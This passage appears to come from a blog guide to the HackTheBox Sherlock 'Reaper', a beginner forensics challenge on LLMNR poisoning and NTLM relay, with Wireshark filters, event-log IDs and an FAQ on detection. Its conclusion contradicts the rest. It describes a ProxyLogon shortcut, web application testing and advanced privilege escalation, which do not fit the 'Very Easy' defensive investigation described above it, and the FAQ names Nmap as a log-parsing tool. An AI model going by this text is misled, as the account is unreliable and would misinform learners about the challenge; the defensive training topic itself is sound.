Using filters effectively is your best friend. In Wireshark, filter by the attacker’s IP (ip.addr == 172.17.79.135) to isolate their activity. In the event logs, focus your detection efforts on Event ID 4624 (successful logon) and 5140 (file shares network share access) that occur within the incident timeframe.

To troubleshoot effectively:

• Establish a Timeline: Note the timestamp of the malicious logon and examine the packets immediately before and after that time.
• Isolate and Conquer: Don’t try to analyze everything at once. Focus on one IP address or one type of event at a time.
• Correlate Everything: An action in the PCAP should have a corresponding entry in the event logs.

Avoiding Missteps During Exploitation and Escalation

A potential misstep is confusing the victim’s legitimate actions with the attacker’s malicious ones. For example, after the failed relay attempt, you will see the user on WKSTN002 successfully connect to the domain controller to access a share named \\DC01\Trip. This is a separate, legitimate (though still incorrect) action and not part of the attack on WKSTN001.

To avoid this confusion, always verify the source IP address in the event logs. The malicious logon to WKSTN001 comes directly from the attacker’s IP (172.17.79.135), not from the victim’s IP (172.17.79.136). Additionally, if you suspect a compromised account, paying close attention to details like the logon ID and source workstation name will keep you on the right track.

Key things to watch out for during the exploitation phase:

• Differentiate between the attacker’s relayed session and the user’s own network activity.
• Confirm the workstation name (FORELA-WKSTN002) and source IP address (172.17.79.135) mismatch in the logon event.
• Note the share accessed by the malicious tool (\\*\IPC$) during authentication, not the share the user was trying to reach.

Comparing Reaper with Other Sherlocks Series Machines

When placed alongside other challenges in the HackTheBox Sherlocks series, Reaper stands out for its accessibility. The Sherlocks series is designed to build defensive security skills, and Reaper serves as the perfect entry point. Its straightforward scenario and limited evidence set it apart from more complex investigations in the series.

While other Sherlocks might involve multiple attack stages, advanced malware, or vast log files, Reaper focuses on a single, fundamental attack vector. This allows newcomers to learn the core principles of forensic analysis without feeling overwhelmed.

Difficulty Level and Learning Curve

Reaper is officially rated as “Very Easy,” and this difficulty level is reflected in its shallow learning curve. The challenge is not designed to trick you but to teach you. The attack path is linear and logical, making it easy to follow once you understand the basics of NTLM relay attacks.

The provided artifacts are highly focused. The PCAP contains just enough traffic to show the attack clearly, and the event log has only 51 entries. This controlled environment is ideal for learning because it allows you to concentrate on the mechanics of the attack and the corresponding evidence without getting sidetracked.

• Beginner-Friendly: The challenge is tailored for those new to digital forensics.
• Focused Learning: It teaches a specific, high-impact attack in an isolated setting, which is a great way to build foundational detection skills.

Unique Aspects of the Reaper Challenge

The most unique aspect of Reaper is its power as a teaching tool. It perfectly encapsulates a classic internal network attack in a neat, digestible package. It excels at demonstrating the critical relationship between network evidence and host-based evidence.

Many CTF challenges focus solely on exploitation, but Reaper forces you to wear a defender’s hat. You are not the attacker; you are the investigator. This shift in perspective is invaluable for anyone in information security. The challenge’s design emphasizes that even in a secure Windows domain, simple misconfigurations and user errors can open the door for an attacker.

Reaper’s unique strengths include:

• Bridging Network and Host Analysis: It directly links PCAP traffic to Windows event logs.
• Real-World Scenario: The LLMNR poisoning and NTLM relay attack is a common finding in real penetration tests.
• Focus on Fundamentals: It reinforces the importance of secure name resolution and authentication protocols.

ALSO READ: Mastering CodeTwo: Beginner’s Guide from HackTheBox

Conclusion

Hack The Box’s Reaper is a testament to what makes a great cybersecurity challenge. It mirrors real-world attack chains, where an attacker combines multiple, disparate vulnerabilities to progressively deepen their access. The unintended shortcut via ProxyLogon serves as a powerful reminder that keeping systems patched against critical, known vulnerabilities is the most important first line of defense. The intended path, however, teaches a more nuanced lesson about the importance of defense-in-depth, secure coding, and rigorous privilege management.

This machine forces you to go beyond simple exploits, demanding a comprehensive skill set that spans web application testing, local enumeration, and advanced Windows privilege escalation techniques. Conquering Reaper is a significant achievement and provides invaluable experience that is directly applicable to real-world penetration testing and network defense.

Frequently Asked Questions

Do I need prior CTF experience to attempt Reaper on HackTheBox?

No, prior CTF experience is not necessary. Reaper is rated “Very Easy” and is designed for beginners. Basic knowledge of IT networks and a willingness to learn are more important for this challenge than any previous CTF experience.

What public writeup information is most helpful for the Reaper box?

The most helpful public writeups are those that clearly explain the link between the LLMNR poisoning seen in the PCAP file and the malicious logon event (ID 4624) found in the security logs. Look for guides that show filtered views in Wireshark.

How can I detect and prevent NTLM relay attacks in a real-world environment?

To prevent NTLM relay attacks, you should disable insecure protocols like LLMNR and NetBIOS-NS via Group Policy. Enforcing SMB signing across the network is also critical, as it cryptographically validates traffic and prevents it from being relayed by a malicious tool.

Are there specific tools that make solving Reaper easier for beginners?

For beginners, Wireshark is the most essential tool for analyzing the network traffic. While the walkthrough uses command-line utilities for logs, a graphical tool like Event Log Explorer might make parsing the EVTX file easier than Nmap or other tools.